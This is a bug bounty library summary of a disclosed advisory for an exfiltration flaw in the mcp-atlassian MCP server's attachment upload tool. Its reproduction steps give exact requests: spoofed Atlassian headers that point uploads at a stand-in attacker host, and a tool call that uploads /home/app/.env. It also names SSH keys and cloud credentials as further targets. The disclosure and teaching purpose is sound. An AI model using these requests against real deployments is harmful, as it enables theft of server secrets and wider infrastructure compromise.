# MCP Atlassian: MCP HTTP Client Server-Local File Exfiltration via Unvalidated Attachment Upload Path

Unauthenticated attacker sets Atlassian service headers on mcp-atlassian HTTP transport to point uploads at their server, then passes arbitrary file_path to exfiltrate server-local secrets.

- Payout: Research
- Severity: high
- Program: mcp-atlassian
- Found by: EQSTLab, 232-323
- Disclosed: 2026-09-22
- CVE: CVE-2026-77246
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wv8v-v4c5-v75j
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-wv8v-v4c5-v75j
- Tags: area:ai domain:ai domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:python technique:source-review vuln:auth-bypass vuln:info-disclosure vuln:path-traversal vuln:ssrf

**Target:** MCP server (streamable-http/sse transport) attachment upload tool
**Root cause:** The upload path absolutizes file_path and only checks existence, never calling the existing validate_safe_path() used on downloads; combined with header-supplied service URL/PAT that bypasses Authorization and a weak SSRF allowlist, the file is opened and PUT to an attacker-controlled endpoint.
**Steps:**
1. Deploy victim with `--transport streamable-http`, `READ_ONLY_MODE=false`, `MCP_ALLOWED_URL_DOMAINS=<attacker hostname>`.
2. POST /mcp `initialize` with headers `X-Atlassian-Confluence-Url: http://attacker:8888` and `X-Atlassian-Confluence-Personal-Token: fake-pat-token-for-poc`, no Authorization header.
3. POST /mcp `tools/call` with `{"name":"confluence_upload_attachment","arguments":{"content_id":"123","file_path":"/home/app/.env"}}`.
4. Attacker server receives multipart PUT containing the file contents; verify via `/exfil`.
**How found:** Static data-flow review from header middleware (main.py:498-504, 584-595) through URL validation (urls.py:97-104) and fetcher construction (dependencies.py:544-545) to the upload sink; noticed validate_safe_path() applied to download paths but absent on upload paths, then confirmed with a Docker PoC.
**Exploitation:** Attacker needs network reach to /mcp on an HTTP-transport deployment with write tools enabled and an allowlisted/attacker-controlled hostname. Service headers create a ConfluenceFetcher pointed at the attacker's fake Confluence API; the upload tool then opens any server-readable path and PUTs it as multipart to the attacker, yielding .env, SSH keys, cloud credentials.
**Escalation:** Any file readable by the process (SSH keys, ~/.aws/credentials, kubeconfig, TLS certs) can be exfiltrated, escalating to cloud/infra compromise.
**Insight:** When a codebase has a path-safety helper, grep every open()/file sink for its absence — asymmetric validation between read and write paths is a reliable bug signal; also check whether auth middleware treats alternate credential headers as equivalent to Authorization.